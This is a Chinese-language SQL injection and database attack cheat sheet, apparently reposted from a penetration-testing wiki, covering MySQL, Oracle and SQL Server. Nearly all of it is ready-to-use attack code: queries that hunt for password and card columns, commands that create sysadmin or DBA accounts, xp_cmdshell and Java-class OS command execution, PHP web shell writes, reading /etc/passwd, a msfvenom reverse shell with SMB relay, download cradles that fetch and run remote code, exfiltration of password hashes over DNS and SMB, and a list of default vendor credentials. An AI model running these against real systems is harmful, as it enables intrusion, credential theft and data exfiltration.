查询历史记录 | SELECT * FROM (SELECT COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, qt.objectid as objectid, last_execution_time, execution_count, encrypted,(SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2) ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement FROM sys.dm_exec_query_stats AS qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x ORDER BY execution_count DESC |
2、数据定位
能够正确地识别和定位敏感信息可以以指数的方式减少在数据库中花费的时间,这意味着可以花费更多的时间在其他方向上。
数据定位查询
MySQL
描述 | 语句 |
---|---|
数据库大小 | SELECT table_schema "Database Name",sum( data_length + index_length ) / 1024 / 1024 "Database Size in MB",sum( data_free )/ 1024 / 1024 "Free Space in MB" FROM information_schema.TABLES GROUP BY table_schema ; |
数据库名称关键字 | SELECT table_schema "Database Name" FROM information_schema.TABLES WHERE table_schema LIKE "%passwords%" GROUP BY table_schema ; |
表名关键字 | SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT LIKE "information_schema" AND table_name LIKE "%admin%"; |
列名关键字 | SELECT column_name, table_name FROM information_schema.columns WHERE column_name LIKE "%password%"; |
列数据正则表达式 | SELECT * from credit_cards WHERE cc_number REGEXP '^4[0-9]{15}$'; |
Oracle
描述 | 语句 |
---|---|
寻找敏感数据 | SELECT owner,table_name,column_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; |
寻找特权 | SELECT * FROM session_privs SELECT * FROM USER_SYS_PRIVS SELECT * FROM USER_TAB_PRIVS SELECT * FROM USER_TAB_PRIVS_MADE SELECT * FROM USER_TAB_PRIVS_RECD SELECT * FROM ALL_TAB_PRIVS SELECT * FROM USER_ROLE_PRIVS |
提取存储过程/ Java源 | SELECT * FROM all_source WHERE owner NOT IN ('SYS','SYSTEM') SELECT * FROM all_source WHERE TYPE LIKE '%JAVA %' SELECT TO_CHAR(DBMS_METADATA.get_ddl('TABLE','DEPT','CONSUELA')) FROM dual |
SQL Server
描述 | 语句 |
---|---|
列出非默认数据库 | SELECT NAME FROM sysdatabases WHERE (NAME NOT LIKE 'distribution') AND (NAME NOT LIKE 'master') AND (NAME NOT LIKE 'model') AND (NAME NOT LIKE 'msdb') AND (NAME NOT LIKE 'publication') AND (NAME NOT LIKE 'reportserver') AND (NAME NOT LIKE 'reportservertempdb') AND (NAME NOT LIKE 'resource') AND (NAME NOT LIKE 'tempdb') ORDER BY NAME; |
列出非默认表 | SELECT '[' + SCHEMA_NAME(t.schema_id) + '].[' + t.name + ']' AS fulltable_name, SCHEMA_NAME(t.schema_id) AS schema_name, t.name AS table_name, i.rows FROM sys.tables AS t INNER JOIN sys.sysindexes AS i ON t.object_id = i.id AND i.indid < 2 WHERE (ROWS> 0) AND (t.name NOT LIKE 'syscolumns') AND (t.name NOT LIKE 'syscomments') AND (t.name NOT LIKE 'sysconstraints') AND (t.name NOT LIKE 'sysdepends') AND (t.name NOT LIKE 'sysfilegroups') AND (t.name NOT LIKE 'sysfiles') AND (t.name NOT LIKE 'sysforeignkeys') AND (t.name NOT LIKE 'sysfulltextcatalogs') AND (t.name NOT LIKE 'sysindexes') AND (t.name NOT LIKE 'sysindexkeys') AND (t.name NOT LIKE 'sysmembers') AND (t.name NOT LIKE 'sysobjects') AND (t.name NOT LIKE 'syspermissions') AND (t.name NOT LIKE 'sysprotects') AND (t.name NOT LIKE 'sysreferences') AND (t.name NOT LIKE 'systypes') AND (t.name NOT LIKE 'sysusers') ORDER BY TABLE_NAME; |
列名搜索 | SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME like '%password%' |
列出非默认列 | SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE CHARACTER_MAXIMUM_LENGTH > 14 AND DATA_TYPE NOT IN ('bigint','binary','bit','cursor','date','datetime','datetime2', 'datetimeoffset','float','geography','hierarchyid','image','int','money','real', 'smalldatetime','smallint','smallmoney','sql_variant','table','time','timestamp', 'tinyint','uniqueidentifier','varbinary','xml') AND TABLE_NAME='CreditCard' OR CHARACTER_MAXIMUM_LENGTH < 1 AND DATA_TYPE NOT IN ( 'bigint', 'binary', 'bit', 'cursor', 'date', 'datetime', 'datetime2', 'datetimeoffset', 'float', 'geography', 'hierarchyid', 'image', 'int', 'money', 'real', 'smalldatetime', 'smallint', 'smallmoney', 'sql_variant', 'table', 'time', 'timestamp', 'tinyint', 'uniqueidentifier', 'varbinary', 'xml') AND TABLE_NAME='CreditCard' ORDER BY COLUMN_NAME; |
搜索透明加密 | SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY a.database_id WHERE is_encrypted=1 |
按数据库大小搜索 | SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename, (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY DbSizeMb DESC |
数据定位正则表达式
描述 | 语句 |
---|---|
所有主要的信用卡提供商 | ^(?:4[0-9]{12}(?:[0-9]{3})?|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})$ |
Unmasked | Masked SSN | ^(\d{3}-?\d{2}-?\d{4}|XXX-XX-XXXX)$ |
数据定位关键字
关键字 |
---|
credit |
card |
pin |
cvv |
pan |
password |
social |
ssn |
account |
confidential |
3、提升特权
某些功能需要特权用户,并且为了升级漏洞,特权用户始终是第一步。
MySQL
还没有数据,如果您知道任何有用的方法,请在我们的Github上做出贡献!
Oracle
*
需要特权用户
描述 | 语句 |
---|---|
转储所有DBA用户名 | SELECT username FROM user_role_privs WHERE granted_role='DBA'; |
建立DBA用户 | * GRANT DBA to USER |
创建过程 | CREATE OR REPLACE PROCEDURE "SYSTEM".netspi1 (id IN VARCHAR2) AS PRAGMA autonomous_transaction; EXECUTE IMMEDIATE 'grant dba to scott'; COMMIT; END; BEGIN SYSTEM.netspi1('netspi'); END; |
查找数据库链接 | SELECT * FROM DBA_DB_LINKS SELECT * FROM ALL_DB_LINKS SELECT * FROM USER_DB_LINKS |
查询数据库链接 | SELECT * FROM sales@miami -- minimum for preconfigured SELECT * FROM harold@netspi.com -- standard usage for selecting table from schema on remote server SELECT * FROM harold@netspi.com@hq_1 -- standard usage for selecting table from schema on remote server instance SELECT db_link,password FROM user_db_links WHERE db_link LIKE 'TEST%'' SELECT name,password FROM sys.link$ WHERE name LIKE 'TEST%'; SELECT name,passwordx FROM sys.link$ WHERE name LIKE 'TEST%'; |
在数据库链接上执行存储过程 | EXEC mySchema.myPackage.myProcedure@myRemoteDB( 'someParameter' ); SELECT dbms_xmlquery.getxml('select * from emp') FROM harold@netspi.com |
创建数据库链接 | CREATE SHARED PUBLIC DATABASE LINK supply.us.netspi.com; -- connected user setup CREATE SHARED PUBLIC DATABASE LINK supply.us.netspi.com CONNECT TO harold AS tiger; -- standard defined user/pass CREATE SHARED PUBLIC DATABASE LINK hq.netspi.com.com@hq_1 USING 'string_to_hq_1'; -- instance specific CREATE SHARED PUBLIC DATABASE LINK link_2 CONNECT TO jane IDENTIFIED BY doe USING 'us_supply'; -- defined user pass |
删除链接 | DROP DATABASE LINK miami; |
SQL Server
*
需要特权用户。以下查询需要各种权限类型。请继续关注详细的权限提升路径。
描述 | 语句 |
---|---|
建立DBA用户 | * EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; |
授予所有自定义对象的执行权限 | SELECT 'grant exec on ' + QUOTENAME(ROUTINE_SCHEMA) + '.' + QUOTENAME(ROUTINE_NAME) + ' TO test' FROM INFORMATION_SCHEMA.ROUTINES WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'IsMSShipped') = 0 ; |
授予执行所有存储过程 | CREATE ROLE db_executor GRANT EXECUTE TO db_executor exec sp_addrolemember 'db_executor', 'YourSecurityAccount' |
UNC路径注入 | https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/ |
检测非模拟登录 | SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_ principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' |
模拟登录 注意:REVERT会将您带回原始登录名。 |
EXECUTE AS LOGIN = 'sa'; SELECT @@VERSION; |
创建sysadmin用户 | * USE [master]GO CREATE LOGIN [test] WITH PASSSWORD=N 'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO EXEC master..sp_addsrvrolemember @loginame=N'test', @rolename=N'sysadmin' GO |
创建sysadmin用户 | * EXEC sp_addlogin 'user', 'pass';* EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; |
删除用户 | * EXEC sp_droplogin 'user'; |
检索SQL代理连接密码 | exec msdb.dbo.sp_get_sqlagent_properties |
检索DTS连接密码 | select msdb.dbo.rtbldmbprops |
获取sysadmin作为本地管理员 | https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/ |
启动存储过程 | https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ |
触发器创建 | https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/ |
Windows自动登录密码 | https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/ |
xp_regwrite非sysadmin执行 | https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e |
具有可信赖数据库的存储过程 | https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases |
存储过程用户模拟 | https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/ |
默认密码 | sa:sa sa:[empty] [username]:[username] |
实例的默认密码(实例名称,用户,密码) | "ACS","ej","ej" "ACT7","sa","sage" "AOM2","admin","ca_admin" "ARIS","ARIS9","*ARIS!1dm9n#" "AutodeskVault","sa","AutodeskVault@26200" "BOSCHSQL","sa","RPSsql12345" "BPASERVER9","sa","AutoMateBPA9" "CDRDICOM","sa","CDRDicom50!" "CODEPAL","sa","Cod3p@l" "CODEPAL08","sa","Cod3p@l" "CounterPoint","sa","CounterPoint8" "CSSQL05","ELNAdmin","ELNAdmin" "CSSQL05","sa","CambridgeSoft_SA" "CADSQL","CADSQLAdminUser","Cr41g1sth3M4n!" "DHLEASYSHIP","sa","DHLadmin@1" "DPM","admin","ca_admin" "DVTEL","sa","" "EASYSHIP","sa","DHLadmin@1" "ECC","sa","Webgility2011" "ECOPYDB","e+C0py2007_@x","e+C0py2007_@x" "ECOPYDB","sa","ecopy" "Emerson2012","sa","42Emerson42Eme" "HDPS","sa","sa" "HPDSS","sa","Hpdsdb000001" "HPDSS","sa","hpdss" "INSERTGT","msi","keyboa5" "INSERTGT","sa","" "INTRAVET","sa","Webster#1" "MYMOVIES","sa","t9AranuHA7" "PCAMERICA","sa","pcAmer1ca" "PCAMERICA","sa","PCAmerica" "PRISM","sa","SecurityMaster08" "RMSQLDATA","Super","Orange" "RTCLOCAL","sa","mypassword" "SALESLOGIX","sa","SLXMaster" "SIDEXIS_SQL","sa","2BeChanged" "SQL2K5","ovsd","ovsd" "SQLEXPRESS","admin","ca_admin" "STANDARDDEV2014","test","test" "TEW_SQLEXPRESS","tew","tew" "vocollect","vocollect","vocollect" "VSDOTNET","sa","" "VSQL","sa","111" |
4、执行系统命令
执行系统命令是SQL注入的主要目标之一,这有助于完全控制主机操作系统。这可能通过直接执行命令,修改现有数据以在网页上放置shell或者利用数据库中的隐藏功能来实现。
MySQL
描述 | 语句 |
---|---|
命令执行(PHP) | SELECT "" INTO OUTFILE '/var/www/shell.php' |
使用MySQL CLI Access执行命令 | https://infamoussyn.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ |
SMB中继外壳
Requires
Metasploit(https://www.metasploit.com/)
smbrelayx(https://github.com/CoreSecurity/impacket)
生成反向shell有效负载
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR.IP.GOES.HERE LPORT=443 -f exe > reverse_shell.exe
生成一个侦听器来传递反向shell
smbrelayx.py -h VICTIM.IP.GOES.HERE -e ./reverse_shell.exe
执行下面的任何一个MySQL查询来调用监听器
select load_file('\\\\YOUR.IP.GOES.HERE\\aa');
select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);
select 'netspi' into dumpfile '\\\\YOUR.IP.GOES.HERE\\aa';
select 'netspi' into outfile '\\\\YOUR.IP.GOES.HERE\\aa';
load data infile '\\\\YOUR.IP.GOES.HERE\\aa' into table database.table_name;
有关更多信息,请参见此处(https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/)
Oracle
如果安装了Java,可用于执行命令
描述 | 语句 |
---|---|
创建Java类 | /* create Java class */ BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END; / BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; / /* run OS command */ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; |
创建Java类(十六进制编码) | /* create Java class */ SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70 696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696 320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b42756 66665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d526561646572285 2756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e6720737 4656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d73746 56d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b726574757 26e20652e746f537472696e6728293b7d7d7d'')); SEXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776 e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a 617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual /* run OS command */ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; |
SQL Server
名称 | 语句 |
---|---|
xp_cmdshell | -- Enable show advanced options sp_configure 'show advanced options', 1 RECONFIGURE GO -- Enable xp_cmdshell sp_configure 'xp_cmdshell', 1 RECONFIGURE GO EXEC xp_cmdshell 'net user' |
写入注册表自动运行 | https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/ https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e |
写入文件自动运行 | https://blog.netspi.com/how-to-hack-database-links-in-sql-server/ |
Agent Job | https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution |
存储过程中的SQL注入 | https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/ |
CLR组件 | https://blog.netspi.com/attacking-sql-server-clr-assemblies/ |
自定义扩展存储过程 | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/cmd_exec.cpp |
TSQL
名称 | 语句 |
---|---|
ActiveX javascript Agent Job | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_activex_jscript.sql |
ActiveX VBScript Agent Job | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql |
cmdexec Agent Job | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_cmdexec.sql |
Powershell Agent Job | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_powershell.sql |
自定义命令行shell | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_customxp.cpp |
OLE自动化对象 | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_oleautomationobject.sql |
OPENROWSET | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_openrowset.sql |
Python | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_pythonscript.tsql |
R | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_rscript.sql |
xp_cmdshell proxy | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_xpcmdshell_proxy.sql |
5、读写文件
读取和写入文件有助于数据收集和数据泄露。许多方法包括写入webroot,这可以执行webshell,或允许数据通过端口80/443被泄露。
MySQL
*
需要特权用户
描述 | 语句 |
---|---|
转储到文件 | SELECT * FROM mytable INTO dumpfile '/tmp/somefile' |
写入 PHP Shell 到文件 | SELECT 'system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php' |
读文件 | SELECT LOAD_FILE('/etc/passwd') |
读取混淆的文件 | SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini |
文件权限 | SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%' |
Oracle
有时可以使用UTL_FILE。检查以下是否为非null
SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';
如果安装了Java(Oracle Express中不可用),可用于读取和写入文件。
SQL Server
*
需要特权用户
描述 | 语句 |
---|---|
在服务器中下载Cradle bulk - TSQL | -- Bulk Insert - Download Cradle Example -- Setup variables Declare @cmd varchar(8000) -- Create temp table CREATE TABLE #file (content nvarchar(4000)); -- Read file into temp table - web server must support propfind BULK INSERT #file FROM '\sharepoint.acme.com@SSL\Path\to\file.txt'; -- Select contents of file SELECT @cmd = content FROM #file -- Display command SELECT @cmd -- Run command EXECUTE(@cmd) -- Drop the temp table DROP TABLE #file |
下载Cradle OAP 1 - SQL | -- OLE Automation Procedure - Download Cradle Example -- Does not require a table, but can't handle larger payloads -- Note: This also works with unc paths \\ip\file.txt -- Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind. -- Setup Variables DECLARE @url varchar(300) DECLARE @WinHTTP int DECLARE @handle int DECLARE @Command varchar(8000 -- Set target url containting TSQL SET @url = 'http://127.0.0.1/mycmd.txt' -- Setup namespace EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT -- Call the Open method to setup the HTTP request EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' -- Call the Send method to send the HTTP GET request EXEC @handle=sp_OAMethod @WinHTTP,'Send' -- Capture the HTTP response content EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out -- Destroy the object EXEC @handle=sp_OADestroy @WinHTTP -- Display command SELECT @Command -- Run command EXECUTE (@Command) |
下载Cradle OAP 2 - TSQL | -- OLE Automation Procedure - Download Cradle Example - Option 2 -- Can handle larger payloads, but requires a table -- Note: This also works with unc paths \ip\file.txt -- Note: This also works with webdav paths \ip@80\file.txt However, the target web server needs to support propfind. -- Setup Variables DECLARE @url varchar(300) DECLARE @WinHTTP int DECLARE @Handle int DECLARE @Command varchar(8000) -- Set target url containting TSQL SET @url = 'http://127.0.0.1/mycmd.txt' -- Create temp table to store downloaded string CREATE TABLE #text(html text NULL) -- Setup namespace EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT -- Call open method to configure HTTP request EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false' -- Call Send method to send the HTTP request EXEC @Handle=sp_OAMethod @WinHTTP,'Send' -- Capture the HTTP response content INSERT #text(html) EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText' -- Destroy the object EXEC @Handle=sp_OADestroy @WinHTTP -- Display the commad SELECT @Command = html from #text SELECT @Command -- Run the command EXECUTE (@Command) -- Remove temp table DROP TABLE #text |
读取文件 - TSQL | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql |
写文件 - TSQL | https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql |
6、横向移动
横向移动允许测试人员访问不同的功能/数据集,这些功能/数据不明确要求为特权的用户。横向切换用户帐户将暴露不同的信息,并可能有助于损害更多特权用户。
MySQL
*
需要特权用户
描述 | 语句 |
---|---|
创建用户 | CREATE USER 'netspi'@'%' IDENTIFIED BY 'password' |
删除用户 | DROP USER netspi |
Oracle
描述 | 语句 |
---|---|
创建用户 | CREATE USER user IDENTIFIED by pass; |
删除用户 | DROP USER user |
SQL Server
*
需要特权用户
描述 | 语句 |
---|---|
创建用户 | EXEC sp_addlogin 'user', 'pass'; |
删除用户 | EXEC sp_droplogin 'user'; |
链接抓取 | https://blog.netspi.com/sql-server-link-crawling-powerupsql/ |
作为当前服务连接到远程数据库 | --Requires sysadmin SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Server=MSSQLSRV04\SQLSERVER2016;Trusted_Connection=yes;').master.dbo.sysdatabases |
7、数据泄露
泄漏的数据以及任何受损数据的脱机副本可以用来做数据分析。数据可以通过文件,各种Layer 4请求和隐藏技术被泄漏。
*
需要特权用户
MySQL
描述 | 语句 |
---|---|
DNS 请求 | SELECT LOAD\_FILE(concat('\\\\',(QUERY\_WITH\_ONLY\_ONE\_ROW), 'yourhost.com\\')) |
SMB 分享 | SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt' |
HTTP 服务器 | SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt' |
数字连接 | SELECT length(user()) SELECT ASCII(substr(user(),1)) 当数据只能作为数字导出时,转换为ASCII。有关自动化点击此处连接. |
Oracle
描述 | 语句 |
---|---|
将多行合并为一行 | SELECT dbms_xmlgen.getxmltype('select user from dual') FROM dual |
XML外部实体 | SELECT xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://IP/test"> %remote; %param1;]>') FROM dual; |
URL_HTTP 请求 (Pre-11gR2) | SELECT UTL_HTTP.request ('http://IP/test') FROM dual; |
避免特殊字符 | SELECT UTL_URL.escape('http://IP/' || USER) FROM dual; |
SQL Server
注意:可以从MSSQL发出DNS请求。但是,此请求需要管理员权限和SQL Server 2005。
描述 | 语句 |
---|---|
制造DNS请求 | DECLARE @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;exec('xp_fileexist "\' + @host + 'c$boot.ini"'); |
UNC路径(DNS请求) | xp_dirtree ‘\\data.domain.com\file’ |
启用sp_send_dbmail 并发送查询 |
sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='harold@netspi.com',@query='select @@version'; |
基本的xp_sendmail 查询 |
EXEC master..xp_sendmail 'harold@netspi.com', 'This is a test.' |
使用xp_sendmail 发送完整的电子邮件 |
EXEC xp_sendmail @recipients='harold@netspi.com', @message='This is a test.', @copy_recipients='test@netspi.com', @subject='TEST' |
通过xp_sendmail 发送查询结果 |
EXEC xp_sendmail 'harold@netspi.com', @query='SELECT @@version'; |
通过xp_sendmail 发送查询结果作为附件 |
CREATE TABLE ##texttab (c1 text) INSERT ##texttab values ('Put messge here.') DECLARE @cmd varchar(56)SET @cmd = 'SELECT c1 from ##texttab'EXEC master.dbo.xp_sendmail 'robertk',@query = @cmd, @no_header='TRUE'DROP TABLE ##texttab |
8、持久
在系统上获得持久性可在网络中创建半永久性的立足点,从而延长利用时间。有了这个额外的时间,可以尝试不同的载体和利用方法。
*
需要特权用户
MySQL
还没有数据,如果你知道任何有用的方法,请在我们的Github上做出贡献!
Oracle
还没有数据,如果你知道任何有用的方法,请在我们的Github上做出贡献!
SQL Server
描述 | 语句 |
---|---|
启动存储过程 | https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ |
触发器 | https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/ |
Regwrite | https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/ |
(END)
往期精彩
感兴趣的可以点个关注!!!
以上是关于各种 SQL 注入方法总结的主要内容,如果未能解决你的问题,请参考以下文章
安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段